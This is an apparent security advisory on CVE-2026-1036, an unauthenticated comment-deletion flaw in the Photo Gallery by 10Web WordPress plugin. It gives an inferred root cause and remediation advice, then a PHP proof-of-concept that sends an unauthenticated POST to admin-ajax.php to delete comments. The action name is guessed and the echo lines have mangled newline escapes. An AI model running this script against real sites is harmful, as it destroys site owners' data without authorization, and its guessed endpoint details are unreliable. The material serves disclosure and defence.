Atomic Edge analysis of CVE-2026-1036 (metadata-based):
This vulnerability is a Missing Authorization flaw in the Photo Gallery by 10Web plugin, allowing unauthenticated attackers to delete arbitrary image comments. The issue affects the Pro version’s comment functionality in all releases up to and including version 1.8.36. The CVSS score of 5.3 (Medium) reflects an attack that impacts data integrity without affecting confidentiality or availability.
Atomic Edge research infers the root cause is a missing capability check on a function named `delete_comment()`. This function is likely an AJAX callback or REST API endpoint handler. The CWE-862 classification confirms the plugin fails to verify a user’s authorization before performing a privileged action. Without code access, this conclusion is inferred from the standard WordPress pattern where such functions are hooked to `wp_ajax_nopriv_` actions or unsecured REST endpoints, permitting unauthenticated execution.
Exploitation requires sending a crafted HTTP request to the vulnerable endpoint. Based on WordPress plugin conventions, the likely attack vector is the admin-ajax.php handler. An attacker would send a POST request to `/wp-admin/admin-ajax.php` with an `action` parameter targeting the plugin’s delete comment function, such as `photo_gallery_delete_comment` or a similar derivative of the plugin slug. The request must include a parameter like `comment_id` to specify the target. No nonce or authentication cookie is required.
The patch in version 1.8.37 likely adds a proper authorization check. Remediation requires implementing a capability check, such as `current_user_can(‘moderate_comments’)`, or verifying a valid nonce. The function should also validate the user owns the comment or has appropriate administrative privileges. The fix must ensure the callback is not registered with the `wp_ajax_nopriv_` prefix, or that a user authentication check is performed before any data modification.
Successful exploitation allows any site visitor to delete any comment associated with the plugin’s image galleries. This constitutes unauthorized data destruction and can disrupt user engagement, moderate content visibility, or be used maliciously to erase evidence or legitimate feedback. The impact is limited to data integrity loss within the plugin’s comment system and does not extend to site compromise or privilege escalation.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1036 - Photo Gallery by 10Web – Mobile-Friendly Image Gallery <= 1.8.36 - Missing Authorization to Unauthenticated Arbitrary Comment Deletion
<?php
/**
* Proof of Concept for CVE-2026-1036.
* Assumptions: The vulnerable endpoint is a WordPress AJAX handler.
* The action name is inferred from common plugin patterns.
* The required parameter is assumed to be 'comment_id'.
*/
$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
// Construct the AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The AJAX action name is not explicitly stated in the metadata.
// Common patterns for this plugin include 'bwg_delete_comment', 'photo_gallery_delete_comment', or 'tenweb_photo_gallery_delete'.
// We attempt a plausible action based on the plugin slug 'photo-gallery'.
$inferred_action = 'photo_gallery_delete_comment';
// Target comment ID to delete. An attacker would need to discover this ID.
$comment_id = 1;
// Prepare POST data
$post_fields = [
'action' => $inferred_action,
'comment_id' => $comment_id
];
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Output result
echo "Sent POST to: $ajax_urln";
echo "Action: $inferred_actionn";
echo "Target Comment ID: $comment_idn";
echo "HTTP Response Code: $http_coden";
if ($response !== false) {
echo "Response Body: $responsen";
}
?>
